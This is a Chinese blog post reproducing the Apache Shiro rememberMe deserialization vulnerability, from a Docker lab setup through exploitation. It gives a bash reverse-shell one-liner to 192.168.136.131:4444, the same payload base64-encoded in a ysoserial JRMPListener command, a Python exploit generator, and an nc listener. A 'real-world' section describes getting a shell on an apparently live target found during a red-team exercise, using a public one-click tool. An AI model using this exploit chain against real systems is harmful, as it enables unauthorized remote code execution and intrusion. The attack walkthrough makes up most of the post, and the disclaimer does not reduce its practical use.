Shiro反序列化漏洞复现与实战

摘要:
在介绍之前完成的一个项目中,防护网不久前被其他人刺破了。经过询问,我发现我是通过Shrio的漏洞进入内部网的。师兄表示,洞穴仍处于值得关注的阶段,让我们重复一遍。修改python脚本中的密钥以总结漏洞利用相对简单。忘记分析。我们还没有学习java漏洞审计。同样,本文仅供参考。使用前请与文本核对。否则,由此产生的一切后果由作者承担。
前言

之前做的一个项目,前段时间护网被别人打穿了。问了才知道,是通过Shrio的洞进内网的的。师兄说这个洞目前还处于值得关注的阶段,所以来复现一波。

仅供学习参考,请务必与文本核对后使用。否则,由此引起的一切后果均需自行负责,与作者无关。

漏洞复现

环境搭建

修改镜像源

修改镜像源,这样拉取镜像会快一点

1.编辑文件
vim /etc/docker/daemon.json

2.添加
{
  "registry-mirrors": ["https://9cpn8tt6.mirror.aliyuncs.com"]
}

3.重启服务
systemctl daemon-reload
systemctl restart docker

docker拉取

1.拉取镜像
sudo docker pull medicean/vulapps:s_shiro_1
2.将环境运行在主机的8081端口
sudo docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1

成功搭建,访问漏洞环境如下

Shiro反序列化漏洞复现与实战第1张

访问login.jsp,登陆勾选 Remember me,可看到Rememberme参数
Shiro反序列化漏洞复现与实战第2张

bash转码

进入改网页编码命令

http://www.jackson-t.ca/runtime-exec-payloads.html

bash -i >& /dev/tcp/192.168.136.131/4444 0>&1

Shiro反序列化漏洞复现与实战第3张

JRMP监听

开启JRMP监听

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAgL2Rldi90Y3AvMTkyLjE2OC4xMzYuMTMxLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}'

Shiro反序列化漏洞复现与实战第4张

利用python脚本生成exp

使用python的到exp

python expoit.py 192.168.136.131:6666

Shiro反序列化漏洞复现与实战第5张

得到exp

利用exp

nc监听端口4444

Shiro反序列化漏洞复现与实战第6张

rememberMe发包,去掉sessionid,粘贴exp

Shiro反序列化漏洞复现与实战第7张

成功接受shell

Shiro反序列化漏洞复现与实战第8张

不用登陆成功测试,直接在登陆处随意输入一账号密码,勾选rememberme,也可成功f反弹shell

Shiro反序列化漏洞复现与实战第9张

漏洞实战

发现漏洞特征

在登陆框中发现有记住我,于是点击勾选记住我随意输入账号登陆

发现了rememberMe

Shiro反序列化漏洞复现与实战第10张

使用一键检测工具检测漏洞是否存在

工具github地址

https://github.com/feihong-cs/ShiroExploit

输入漏洞url检测

Shiro反序列化漏洞复现与实战第11张

发现漏洞确实存在,反弹shell

Shiro反序列化漏洞复现与实战第12张

服务端开启监听,成功getshell

Shiro反序列化漏洞复现与实战第13张

有时候一键检测工具不一定会成功检测到漏洞,但是可以检测到key,我们可以利用该key,用漏洞复现时的方法攻击。

Shiro反序列化漏洞复现与实战第14张

需要修改python脚本中的key

Shiro反序列化漏洞复现与实战第15张

总结

漏洞利用还是比较简单的。分析就算了,暂未学习java漏洞审计。该漏洞现在还处于值得关注的阶段,在护网中遇到的也是挺多的。

再次强调,本文仅供学习参考,请务必与文本核对后使用。否则,由此引起的一切后果均需自行负责,与作者无关。

免责声明:文章转载自《Shiro反序列化漏洞复现与实战》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇centos 安装 freeswitch,开启与关闭Java异常处理总结下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

CVE-2017-12617 Tomcat 远程代码执行

0×00前情提要 Apache Tomcat团队10月3日宣布,如果配置了默认servlet,则在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操作系统上的潜在危险的远程执行代码(RCE)漏洞,CVE-2017-12617:远程代码执行漏洞。 只需参数readonly设置为false或者使用参数read...

Shiro权限管理框架(四):深入分析Shiro中的Session管理

其实关于Shiro的一些学习笔记很早就该写了,因为懒癌和拖延症晚期一直没有落实,直到今天公司的一个项目碰到了在集群环境的单点登录频繁掉线的问题,为了解决这个问题,Shiro相关的文档和教程没少翻。最后问题解决了,但我觉得我也是时候来做一波Shiro学习笔记了。 本篇是Shiro系列第四篇,Shiro中的过滤器初始化流程和实现原理。Shiro基于URL的权限...

吐槽下若依(RuoYi)系统的权限系统(shiro和spring-security)

起因 有接触若依,目前是前后端分离版本是用的spring-security,不分离版本是用的shiro,两个权限都有些想吐槽的地方 shiro 以RuoYi为例,当前是4.4.0版本,我们直接看realm的配置,在com.ruoyi.framework.shiro.realm中doGetAuthorizationInfo方法中: /**...

使用shiro路径通配符配置访问权限

简述: shiro框架通过拦截功能来实现对用户访问权限的控制和拦截,shiro里面支持Ant风格的通配符。 ?:匹配任意的一个字符,例如:"/admin?"可以匹配“/admin1”,"/admin2"。 *:匹配一个或者多个任意的字符。 **:匹配零个或者多个目录。 设置路径通配符: [main] #如果现在认证失败,则跳转到loginUrl配置的路径...

shiro细节、默认的过滤器、匹配模式和顺序

部分细节 [urls] 部分的配置,其格式是:“url=拦截器[参数],拦截器[参数]”; 如果当前请求的url匹配[urls] 部分的某个url模式,将会执行其配置的拦截器。 anon(anonymous)拦截器表示匿名访问(即不需要登录即可访问) authc(authentication)拦截器表示需要身份认证通过后才能访问 shiro中默认的过滤...

WEB漏洞挖掘技术总结

漏洞挖掘技术一直是网络攻击者最感兴趣的问题,漏洞挖掘的范围也在随着技术的提升而有所变化。在前期针对缓冲区溢出、格式化字符串、堆溢出、lib库溢出等技术都是针对ELF文件(Linux可执行文件)或者PE文件(Win可执行文件)的漏洞挖掘技术。   在针对ELF文件、PE文件(*.exe与*.dll)的漏洞挖掘过程中,出现了很多的漏洞挖掘技术,但是针对PE文件...